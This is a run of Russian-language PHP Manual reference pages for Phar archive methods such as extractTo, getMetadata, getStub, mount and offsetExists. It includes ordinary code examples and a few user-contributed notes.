(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::__destruct — Уничтожает объект архива Phar

Описание

public Phar::__destruct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Извлечь содержимое phar-архива в директорию

  • « Phar::__destruct
  • Phar::getAlias »
  • PHP Manual
  • Phar
  • Извлечь содержимое phar-архива в директорию

Phar::extractTo

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::extractTo — Извлечь содержимое phar-архива в директорию

Описание

public Phar::extractTo(string $directory, array|string|null $files = null, bool $overwrite = false): bool

Извлекает все файлы phar-архива на диск. Извлечённые файлы и директории сохраняют все разрешения, которые у них были. Опциональные параметры позволяют контролировать, какие именно файлы извлекать и нужно ли перезаписывать уже существующие. Второй параметр files может быть как именем файла, так и путём директории, которые надо извлекать. По умолчанию уже существующие на диске файлы перезаписываться не будут. Для указания, что нужно использовать перезапись, используется третий параметр. Этот метод аналогичен методу ZipArchive::extractTo().

Список параметров

directory

Путь, по которому необходимо сохраните извлечённые файлы (files)

files

Имя файла или директории, которые надо извлечь или архив с именами файлов/директорий. null для пропуска этого параметра.

overwrite

Установите в true, если необходимо перезаписывать уже существующие файлы

Возвращаемые значения

Возвращает true в случае успешного выполнения. Но лучше использовать механизм перехвата исключений для контроля успешности.

Ошибки

Выбрасывает исключение PharException в случае возникновения ошибки записи на диск.

Примеры

Пример #1 Пример использования Phar::extractTo()

<?php
try {
$phar = new Phar('myphar.phar');
$phar->extractTo('/full/path'); // извлечь все файлы
$phar->extractTo('/another/path', 'file.txt'); // извлечь только file.txt
$phar->extractTo('/this/path',
array('file1.txt', 'file2.txt')); // извлечь два указанных файла
$phar->extractTo('/third/path', null, true); // извлечь все файлы, использовать перезапись
} catch (Exception $e) {
// handle errors
}
?>

Примечания

Замечание:

Файловые системы Windows NTFS не поддерживают некоторые символы в именах файлов, а именно <|>*?":. Имена файлов с точкой в конце также не поддерживаются. В отличие от некоторых инструментов извлечения, этот метод не поддерживает замену этих символов на подчёркивание, а вместо этого возникает ошибка при извлечении таких файлов.

Смотрите также

  • PharData::extractTo() - Извлечь содержимое tar/zip-архива в директорию

User Contributed Notes

msucco at mac dot com 30-Jul-2019 08:09
On the command line (*nix) you can use the following command to extract a phar file:

$ mkdir tmp && cd $_
$ phar extract -f ../file.phar


Получить псевдоним для Phar

  • « Phar::extractTo
  • Phar::getMetadata »
  • PHP Manual
  • Phar
  • Получить псевдоним для Phar

Phar::getAlias

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.1)

Phar::getAlias — Получить псевдоним для Phar

Описание

public Phar::getAlias(): ?string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает псевдоним или null в случае его отсутствия.

User Contributed Notes

There are no user contributed notes for this page.


Извлечь метаданные phar-архива

  • « Phar::getAlias
  • Phar::getModified »
  • PHP Manual
  • Phar
  • Извлечь метаданные phar-архива

Phar::getMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getMetadata — Извлечь метаданные phar-архива

Описание

public Phar::getMetadata(array $unserializeOptions = []): mixed

Возвращает метаданные phar-архива. Метаданными может быть любая переменная PHP, которая может быть сериализована.

Список параметров

Без параметров.

Возвращаемые значения

Любое значение PHP, которое может быть сериализовано и хранится как метаданные для архива Phar, либо null, если метаданные отсутствуют.

Список изменений

Версия | Описание
8.0.0 | Добавлен параметр unserializeOptions.

Примеры

Пример #1 Пример использования Phar::getMetadata()

<?php
// Убедимся, что архив не существует
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.php'] = '<?php echo "hello";';
$p->setMetadata(array('bootstrap' => 'file.php'));
var_dump($p->getMetadata());
} catch (Exception $e) {
echo 'Не удалось изменить phar:', $e;
}
?>

Результат выполнения данного примера:

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

Смотрите также

  • Phar::setMetadata() - Установить метаданные phar-архива
  • Phar::delMetadata() - Удалить глобальные метаданные в архиве phar
  • Phar::hasMetadata() - Проверить, содержит ли phar-архив глобальные метаданные

User Contributed Notes

There are no user contributed notes for this page.


Определить, изменялся phar-архив

  • « Phar::getMetadata
  • Phar::getPath »
  • PHP Manual
  • Phar
  • Определить, изменялся phar-архив

Phar::getModified

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getModified — Определить, изменялся phar-архив

Описание

public Phar::getModified(): bool

Этот метод используется для определения, изменялось ли что-либо в phar-архиве.

Список параметров

Без параметров.

Возвращаемые значения

true, если архив после открытия изменялся и false, в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Получить реальный путь к Phar-архиву на диске

  • « Phar::getModified
  • Phar::getSignature »
  • PHP Manual
  • Phar
  • Получить реальный путь к Phar-архиву на диске

Phar::getPath

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Phar::getPath — Получить реальный путь к Phar-архиву на диске

Описание

public Phar::getPath(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить MD5/SHA1/SHA256/SHA512/OpenSSL подпись Phar-архива

  • « Phar::getPath
  • Phar::getStub »
  • PHP Manual
  • Phar
  • Получить MD5/SHA1/SHA256/SHA512/OpenSSL подпись Phar-архива

Phar::getSignature

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getSignature — Получить MD5/SHA1/SHA256/SHA512/OpenSSL подпись Phar-архива

Описание

public Phar::getSignature(): array|false

Возвращает проверочную подпись phar-архива в виде строки шестнадцатеричных цифр.

Список параметров

Возвращаемые значения

Массив, содержащий цифровую подпись открытого архива по ключу hash, и MD5, SHA-1, SHA-256, SHA-512 или OpenSSL по ключу hash_type. Подпись - это хеш, вычисленный от содержимого архива, которую можно использовать для проверки его целостности. Корректная подпись требуется для всех запускаемых phar-архивов, если разрешена INI-переменная phar.require_hash. Если сигнатуры нет, функция возвращает false.

User Contributed Notes

There are no user contributed notes for this page.


Получить загрузчик PHP или загрузчик заглушки Phar-архива

  • « Phar::getSignature
  • Phar::getSupportedCompression »
  • PHP Manual
  • Phar
  • Получить загрузчик PHP или загрузчик заглушки Phar-архива

Phar::getStub

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getStub — Получить загрузчик PHP или загрузчик заглушки Phar-архива

Описание

public Phar::getStub(): string

Phar-архивы содержат начальную загрузку или заглушку (stub), написанную на PHP, который запускается при запуске архива, когда его подключают через include:

<?php
include 'myphar.phar';
?>
или просто запускают:
php myphar.phar

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку с содержанием начального загрузчика (заглушки) текущего Phar-архива.

Ошибки

Выбрасывает исключение RuntimeException, если по каким-либо причинам не может получить текст загрузчика.

Примеры

Пример #1 Пример использования Phar::getStub()

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
echo $p->getStub();
echo "==NEXT==\n";
$p->setStub("<?php
function __autoload($class)
{
include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>");
echo $p->getStub();
?>

Результат выполнения данного примера:

<?php __HALT_COMPILER(); ?>
==NEXT==
<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>

Смотрите также

  • Phar::setStub() - Установить загрузчик или загрузочную заглушку в Phar-архив
  • Phar::createDefaultStub() - Создать заглушку в формате phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив поддерживаемых алгоритмов сжатия

  • « Phar::getStub
  • Phar::getSupportedSignatures »
  • PHP Manual
  • Phar
  • Возвращает массив поддерживаемых алгоритмов сжатия

Phar::getSupportedCompression

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

Phar::getSupportedCompression — Возвращает массив поддерживаемых алгоритмов сжатия

Описание

final public static Phar::getSupportedCompression(): array

Список параметров

Нет параметров.

Возвращаемые значения

Возвращает массив, содержащий любые из значений Phar::GZ или Phar::BZ2 в зависимости от доступности модулей zlib и bz2.

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::decompress() - Разжимает текущий файл
  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::decompress() - Распаковывает весь Phar-архив
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве

User Contributed Notes

There are no user contributed notes for this page.


Получить массив поддерживаемых алгоритмов подписи архива

  • « Phar::getSupportedCompression
  • Phar::getVersion »
  • PHP Manual
  • Phar
  • Получить массив поддерживаемых алгоритмов подписи архива

Phar::getSupportedSignatures

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.1.0)

Phar::getSupportedSignatures — Получить массив поддерживаемых алгоритмов подписи архива

Описание

final public static Phar::getSupportedSignatures(): array

Возвращает массив поддерживаемых алгоритмов подписи архива

Список параметров

Без параметров.

Возвращаемые значения

Возвращает массив примерно такого содержания: MD5, SHA-1, SHA-256, SHA-512, OpenSSL.

Смотрите также

  • Phar::getSignature() - Получить MD5/SHA1/SHA256/SHA512/OpenSSL подпись Phar-архива
  • Phar::setSignatureAlgorithm() - Установить алгоритм подписания phar-архива и применение его

User Contributed Notes

There are no user contributed notes for this page.


Получить версию Phar-архива

  • « Phar::getSupportedSignatures
  • Phar::hasMetadata »
  • PHP Manual
  • Phar
  • Получить версию Phar-архива

Phar::getVersion

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::getVersion — Получить версию Phar-архива

Описание

public Phar::getVersion(): string

Возвращает версию API открытого Phar-архива.

Список параметров

Возвращаемые значения

Версия API открытого архива. Не перепутайте с версией API загруженного модуля phar. Каждый Phar-архив имеет жёстко прописанную версию API, с помощью которого его создавали, в манифесте. Подробную документацию можно почитать на странице Формат файла Phar.

Смотрите также

  • Phar::apiVersion() - Возвращает версию API

User Contributed Notes

There are no user contributed notes for this page.


Проверить, содержит ли phar-архив глобальные метаданные

  • « Phar::getVersion
  • Phar::interceptFileFuncs »
  • PHP Manual
  • Phar
  • Проверить, содержит ли phar-архив глобальные метаданные

Phar::hasMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

Phar::hasMetadata — Проверить, содержит ли phar-архив глобальные метаданные

Описание

public Phar::hasMetadata(): bool

Проверяет, содержит ли phar-архив глобальные метаданные.

Список параметров

Без параметров.

Возвращаемые значения

Возвращает true или false.

Примеры

Пример #1 Пример использования Phar::hasMetadata()

<?php
try {
$phar = new Phar('myphar.phar');
var_dump($phar->hasMetadata());
$phar->setMetadata(array('thing' => 'hi'));
var_dump($phar->hasMetadata());
$phar->delMetadata();
var_dump($phar->hasMetadata());
} catch (Exception $e) {
// handle error
}
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(false)

Смотрите также

  • Phar::getMetadata() - Извлечь метаданные phar-архива
  • Phar::setMetadata() - Установить метаданные phar-архива
  • Phar::delMetadata() - Удалить глобальные метаданные в архиве phar

User Contributed Notes

There are no user contributed notes for this page.


Указывает phar перехватывать fopen, file_get_contents, opendir и все stat-функции

  • « Phar::hasMetadata
  • Phar::isBuffering »
  • PHP Manual
  • Phar
  • Указывает phar перехватывать fopen, file_get_contents, opendir и все stat-функции

Phar::interceptFileFuncs

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::interceptFileFuncs — Указывает phar перехватывать fopen, file_get_contents, opendir и все stat-функции

Описание

final public static Phar::interceptFileFuncs(): void

Указывает phar перехватывать fopen(), readfile(), file_get_contents(), opendir() и все stat-функции. Если какая-либо из этих функций будет вызвана из phar-архива с относительным путём, то вызов будет модифицирован для доступа к содержимому архива. В случае с абсолютными путями будут работать штатные функции доступа к файловой системе.

Эта функция позволяет писать приложения работающие не привязанные к жёсткому диску.

Список параметров

No parameters.

Возвращаемые значения

Примеры

Пример #1 Пример использования Phar::interceptFileFuncs()

<?php
Phar::interceptFileFuncs();
include 'phar://' . __FILE__ . '/file.php';
?>

Предположим, что у нас есть /path/to/myphar.phar и в нем содержатся файлы file.php и file2.txt. file.php содержит такой код:

Пример #2 Пример использования Phar::interceptFileFuncs()

<?php
echo file_get_contents('file2.txt');
?>

В обычном режиме PHP будет искать file2.txt в текущей директории, являющейся директорией запуска file.php, либо текущей директорией в случае использования командной строки. Phar::interceptFileFuncs() укажет PHP, что текущая директория - это phar:///path/to/myphar.phar/ и, для примера выше, будет открыт файл phar:///path/to/myphar.phar/file2.txt.

User Contributed Notes

There are no user contributed notes for this page.


Проверить, будут ли операции с Phar-архивом буферизованы или записаны напрямую на диск

  • « Phar::interceptFileFuncs
  • Phar::isCompressed »
  • PHP Manual
  • Phar
  • Проверить, будут ли операции с Phar-архивом буферизованы или записаны напрямую на диск

Phar::isBuffering

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::isBuffering — Проверить, будут ли операции с Phar-архивом буферизованы или записаны напрямую на диск

Описание

public Phar::isBuffering(): bool

Проверяет, будут ли операции с Phar-архивом сразу записаны на диск или для этого надо вызывать Phar::stopBuffering().

Настройки буферизации индивидуальны для каждого архива. Включённая буферизация для foo.phar никак не влияет на режим работы с bar.phar.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true или false.

Примеры

Пример #1 Пример использования Phar::isBuffering()

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p2 = new Phar('existingphar.phar');
$p['file1.txt'] = 'hi';
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>
=2=
<?php
$p->startBuffering();
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
$p->stopBuffering();
?>
=3=
<?php
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>

Результат выполнения данного примера:

bool(false)
bool(false)
=2=
bool(true)
bool(false)
=3=
bool(false)
bool(false)

Смотрите также

  • Phar::startBuffering() - Запускает буферизацию операций записи, отключая запись изменений Phar-архива на диск
  • Phar::stopBuffering() - Останавливает буферизацию и записывает все изменения на диск

User Contributed Notes

There are no user contributed notes for this page.


Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)

  • « Phar::isBuffering
  • Phar::isFileFormat »
  • PHP Manual
  • Phar
  • Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)

Phar::isCompressed

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::isCompressed — Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)

Описание

public Phar::isCompressed(): int|false

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее). Phar-архивы, основанные на zip, не могут быть сжаты целиком, поэтому этот метод всегда возвращает false, если он был вызван на phar-архиве, основанном на zip.

Список параметров

Нет параметров.

Возвращаемые значения

Phar::GZ, Phar::BZ2 или false.

Примеры

Пример #1 Пример использования Phar::isCompressed()

<?php
try {
$phar1 = new Phar('myphar.zip.phar');
var_dump($phar1->isCompressed());
$phar2 = new Phar('myuncompressed.tar.phar');
var_dump($phar2->isCompressed());
$phar2->compress(Phar::GZ);
var_dump($phar2->isCompressed() == Phar::GZ);
} catch (Exception $e) {
}
?>

Результат выполнения данного примера:

bool(false)
bool(false)
bool(true)

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::decompress() - Разжимает текущий файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • Phar::decompress() - Распаковывает весь Phar-архив
  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия

User Contributed Notes

There are no user contributed notes for this page.


Проверить, что phar-архив имеет заданный формат (tar/phar/zip)

  • « Phar::isCompressed
  • Phar::isValidPharFilename »
  • PHP Manual
  • Phar
  • Проверить, что phar-архив имеет заданный формат (tar/phar/zip)

Phar::isFileFormat

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::isFileFormat — Проверить, что phar-архив имеет заданный формат (tar/phar/zip)

Описание

public Phar::isFileFormat(int $format): bool

Список параметров

format

Phar::PHAR, Phar::TAR или Phar::ZIP, в зависимости от проверяемого формата.

Возвращаемые значения

Возвращает true, если phar-архив имеет указанный формат

Ошибки

В случае задания некорректного формата выбрасывается исключение PharException.

Смотрите также

  • Phar::convertToExecutable() - Конвертирует phar-архив в другой исполняемый формат файла
  • Phar::convertToData() - Конвертирует phar-архив в неисполняемый tar- или zip-файл

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, что заданное имя файла является корректным именем phar-архива

  • « Phar::isFileFormat
  • Phar::isWritable »
  • PHP Manual
  • Phar
  • Проверяет, что заданное имя файла является корректным именем phar-архива

Phar::isValidPharFilename

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

Phar::isValidPharFilename — Проверяет, что заданное имя файла является корректным именем phar-архива

Описание

final public static Phar::isValidPharFilename(string $filename, bool $executable = true): bool

Проверяет, что заданное имя файла является корректным именем phar-архива. Можно использовать для проверки имени файла до момента его непосредственного создания, чтобы избежать нежелательных исключений.

Список параметров

filename

Имя или полный путь до файла, который ещё не создан

executable

Этот параметр определяет, должен ли файл опознаваться как запускаемый phar-архив, или как незапускаемый архив с данными

Возвращаемые значения

Возвращает true или false.

User Contributed Notes

sebastian dot krebs dot berlin at googlemail dot com 09-Oct-2011 12:54
Note, that this method accepts _everything_ (=> returns 'true'), when $executable is 'false' as long as the filename contains at least a dot

var_dump(\PharData::isValidPharFilename('randomstring.y', false));
bool(true)

This is not wrong at all, because I can name an archive like I want, but it makes the method completely useless (when $executable == false).


Проверяет, можно ли модифицировать phar-архив

  • « Phar::isValidPharFilename
  • Phar::loadPhar »
  • PHP Manual
  • Phar
  • Проверяет, можно ли модифицировать phar-архив

Phar::isWritable

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::isWritable — Проверяет, можно ли модифицировать phar-архив

Описание

public Phar::isWritable(): bool

Этот метод возвращает true, если phar.readonly установлен в 0, архив существует и доступен для записи.

Список параметров

Параметров нет.

Возвращаемые значения

Возвращает true, если архив можно модифицировать

Смотрите также

  • Phar::canWrite() - Проверяет, поддерживает ли модуль phar сохранение и создание phar-архивов
  • PharData::isWritable() - Проверить, можно ли модифицировать tar/zip-архив

User Contributed Notes

kristof dot coomans at telenet dot be 23-Apr-2009 06:08
It might be not expected, but this function will return true if the file does not exist yet even if the directory is read-only. Tested on PHP 5.3.0 RC 1.

I have buffering on and when I call stopBuffering() then the "failed to open stream: Permission denied" PharException will be thrown.


Загрузить phar-архив с псевдонимом

  • « Phar::isWritable
  • Phar::mapPhar »
  • PHP Manual
  • Phar
  • Загрузить phar-архив с псевдонимом

Phar::loadPhar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::loadPhar — Загрузить phar-архив с псевдонимом

Описание

final public static Phar::loadPhar(string $filename, ?string $alias = null): bool

Может использоваться для загрузки внешнего Phar-архива. То, что для phar-архива назначается псевдоним, позволяет в дальнейшем использовать более короткие ссылки для доступа к нему или же для загрузки архивов Phar, содержащих только данные и не предназначенных для выполнения.

Список параметров

filename

Путь к загружаемому phar-архиву

alias

Псевдоним для доступа к архиву. Обратите внимание, что многие phar-архивы имеют свой явно заданный псевдоним и, при задании нового псевдонима, будет выброшено исключение PharException.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если задан параметр с псевдонимом, а загружаемый архив уже имеет псевдоним, то будет выброшено исключение PharException

Примеры

Пример #1 Пример использования Phar::loadPhar()

Phar::loadPhar можно использовать где угодно, тогда как Phar::mapPhar только в загрузчике (stub) Phar-архива.

<?php
try {
Phar::loadPhar('/path/to/phar.phar', 'my.phar');
echo file_get_contents('phar://my.phar/file.txt');
} catch (PharException $e) {
echo $e;
}
?>

Смотрите также

  • Phar::mapPhar() - Прочитать текущий запущенный phar-архив и зарегистрировать его манифест

User Contributed Notes

There are no user contributed notes for this page.


Прочитать текущий запущенный phar-архив и зарегистрировать его манифест

  • « Phar::loadPhar
  • Phar::mount »
  • PHP Manual
  • Phar
  • Прочитать текущий запущенный phar-архив и зарегистрировать его манифест

Phar::mapPhar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::mapPhar — Прочитать текущий запущенный phar-архив и зарегистрировать его манифест

Описание

final public static Phar::mapPhar(?string $alias = null, int $offset = 0): bool

Этот статический метод можно использовать только в заглушке загрузчика Phar-архива в целях его инициализации, когда он запущен напрямую, либо включён в другой скрипт.

Список параметров

alias

Псевдоним можно использовать в обёртках phar://, ссылаясь на этот архив, вместо использования полного пути.

offset

Неиспользуемая переменная. Существует только для совместимости с PEAR-пакетом PHP_Archive.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывается исключение PharException, если вызывается из скрипта, в котором не обнаружено токена __HALT_COMPILER();, либо если файл недоступен для чтения.

Примеры

Пример #1 Пример использования Phar::mapPhar()

Phar::mapPhar следует использовать только внутри загрузчика заглушки Phar-архива. Используйте loadPhar для загрузки внешнего phar в память.

Простой загрузчик Phar, использующий mapPhar.

<?php
function __autoload($class)
{
include 'phar://me.phar/' . str_replace('_', '/', $class) . '.php';
}
try {
Phar::mapPhar('me.phar');
include 'phar://me.phar/startup.php';
} catch (PharException $e) {
echo $e->getMessage();
die('Cannot initialize Phar');
}
__HALT_COMPILER();

Смотрите также

  • Phar::loadPhar() - Загрузить phar-архив с псевдонимом

User Contributed Notes

phofstetter at sensational dot ch 03-Oct-2013 02:52
Be careful with mapPhar and opcode caches like opcache: They might cache files included by the symbolic name based on the symbolic name you give.

This becomes a problem when a server is hosting multiple different versions of a phar file all using the same symbolic name because then subsequent include()'s in the phar file might load an already cached file from another version of the phar file.

Instead, generate a unique name and use that in mapPhar and in subsequent include()'s

See for example https://github.com/zendtech/ZendOptimizerPlus/issues/115#issuecomment-25612769 for the issue in the opcache module.


Монтирование внешнего путь или файла к виртуальному пути в phar-архиве

  • « Phar::mapPhar
  • Phar::mungServer »
  • PHP Manual
  • Phar
  • Монтирование внешнего путь или файла к виртуальному пути в phar-архиве

Phar::mount

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::mount — Монтирование внешнего путь или файла к виртуальному пути в phar-архиве

Описание

final public static Phar::mount(string $pharPath, string $externalPath): void

Очень похоже на концепцию файловой системы unix по монтированию внешнего устройства в существующее дерево директорий. Phar::mount() позволяет ссылаться на внешние файлы и директории, как будто они находятся внутри архива. Это позволяет повысить уровень абстракции обращаясь ко внешним конфигурационным файлам так, как будто они являются частью архива.

Список параметров

pharPath

Внутренний путь в архиве, по которому необходимо примонтировать внешний путь. Это должен быть несуществующий относительный путь внутри архива.

externalPath

Путь или URL внешнего файла или директории

Возвращаемые значения

Ничего не возвращает. В случае возникновения ошибки выбрасывает исключение PharException.

Ошибки

Выбрасывает исключение PharException при возникновении ошибок.

Примеры

Пример #1 Пример использования Phar::mount()

В следующем примере демонстрируется доступ к внешнему конфигурационному файлу, как будто он находится внутри архива.

Для начала код, содержащийся в архиве:

<?php
$configuration = simplexml_load_string(file_get_contents(
Phar::running(false) . '/config.xml'));
?>

Далее внешний код, монтирующий файл в архив:

<?php
// для начала настроим ассоциацию между абстрактным config.xml
// и конкретным файлом на диске
Phar::mount('phar://config.xml', '/home/example/config.xml');
// а теперь запускаем приложение
include '/path/to/archive.phar';
?>

Другой метод - поместить монтирующий код в заглушку (stub) Phar-архива. Пример использования конфигурационного файла по умолчанию, если пользовательский файл конфигурации не задан:

<?php
// для начала настроим связь между абстрактным config.xml
// и конкретным файлом на диске
if (defined('EXTERNAL_CONFIG')) {
Phar::mount('config.xml', EXTERNAL_CONFIG);
if (file_exists(__DIR__ . '/extra_config.xml')) {
Phar::mount('extra.xml', __DIR__ . '/extra_config.xml');
}
} else {
Phar::mount('config.xml', 'phar://' . __FILE__ . '/default_config.xml');
Phar::mount('extra.xml', 'phar://' . __FILE__ . '/default_extra.xml');
}
// а теперь запускаем приложение
include 'phar://' . __FILE__ . '/index.php';
__HALT_COMPILER();
?>

... и код для загрузки этого phar-архива:

<?php
define('EXTERNAL_CONFIG', '/home/example/config.xml');
// а теперь запускаем приложение
include '/path/to/archive.phar';
?>

User Contributed Notes

espendiller at gmx dot de 09-Jun-2010 03:20
i tested phar to generate a one file drupal installation.
as every cms, drupal put all uploaded files in a seperate folder (i.e. /sites).

i think the mount options here expected a file, i didnt get it to work on mounting a folder. is there any possibility to do that?

to generate a phar out of drupal7 with sqlite database

build.php
$phar = new Phar('drupal7.phar');
$phar->buildFromDirectory(dirname(__FILE__) . '/drupal-7.0-alpha5');
$phar->setStub("<?php
Phar::interceptFileFuncs();
Phar::mount('sites/default/settings.php', __DIR__ . '/sites/default/settings.php');
Phar::mount('database.db', __DIR__ . '/database.db');
Phar::webPhar();
__HALT_COMPILER(); ?>"
);

to call the phar iam using a .htacces file:
RewriteCond %{REQUEST_URI} !^/drupal.phar/
RewriteCond %{REQUEST_URI} !build.php
RewriteRule ^(.*)$ /drupal.phar/$1


Определить список до четырёх $_SERVER-переменных, которые должны быть изменены для запуска

  • « Phar::mount
  • Phar::offsetExists »
  • PHP Manual
  • Phar
  • Определить список до четырёх $_SERVER-переменных, которые должны быть изменены для запуска

Phar::mungServer

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::mungServer — Определить список до четырёх $_SERVER-переменных, которые должны быть изменены для запуска

Описание

final public static Phar::mungServer(array $variables): void

Функция Phar::mungServer() должна вызываться только в загрузчике.

Определяет список до четырёх $_SERVER-переменных, которые необходимо модифицировать для запуска. Модификация заключается в удалении следов запуска из phar-архива для переменных REQUEST_URI, PHP_SELF, SCRIPT_NAME и SCRIPT_FILENAME.

Сам по себе этот метод ничего не делает. Эффект достигается только в комбинации с Phar::webPhar() и только если запрошенный файл является PHP-файлом для разбора. Обратите внимание, что переменные PATH_INFO и PATH_TRANSLATED всегда модифицированы.

Оригинальные значения изменяемых переменных будут сохранены в массиве SERVER с префиксами PHAR_. Например, оригинальное значение SCRIPT_NAME будет записано в PHAR_SCRIPT_NAME.

Список параметров

variables

Массив любой из строк: REQUEST_URI, PHP_SELF, SCRIPT_NAME и SCRIPT_FILENAME. Любые другие значения вызовут исключение. Обратите внимание, что функция Phar::mungServer() чувствительна к регистру символов.

Возвращаемые значения

Ничего не возвращает.

Ошибки

Выбрасывает исключение UnexpectedValueException, если входные данные некорректны.

Примеры

Пример #1 Пример использования Phar::mungServer()

<?php
// пример загрузчика
Phar::mungServer(array('REQUEST_URI'));
Phar::webPhar();
__HALT_COMPILER();
?>

Смотрите также

  • Phar::webPhar() - Направляет запрос из браузера во внутренний файл в phar-архиве
  • Phar::setStub() - Установить загрузчик или загрузочную заглушку в Phar-архив

User Contributed Notes

There are no user contributed notes for this page.


Определить, есть ли файл в архиве

  • « Phar::mungServer
  • Phar::offsetGet »
  • PHP Manual
  • Phar
  • Определить, есть ли файл в архиве

Phar::offsetExists

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::offsetExists — Определить, есть ли файл в архиве

Описание

public Phar::offsetExists(string $localName): bool

Это реализация интерфейса ArrayAccess, позволяющая манипулировать содержимым Phar-архива в стиле доступа к элементам массива.

offsetExists() запускается каждый раз, когда вызывается isset().

Список параметров

localName

Имя файла (относительный путь).

Возвращаемые значения

Возвращает true, если файл присутствует в архиве и false в противном случае.

Примеры

Пример #1 Пример использования Phar::offsetExists()

<?php
$p = new Phar(dirname(__FILE__) . '/my.phar', 0, 'my.phar');
$p['firstfile.txt'] = 'первый файл';
$p['secondfile.txt'] = 'второй файл';
// в следующих строках offsetExists() вызывается косвенно
var_dump(isset($p['firstfile.txt']));
var_dump(isset($p['nothere.txt']));
?>

Результат выполнения данного примера:

bool(true)
bool(false)

Смотрите также

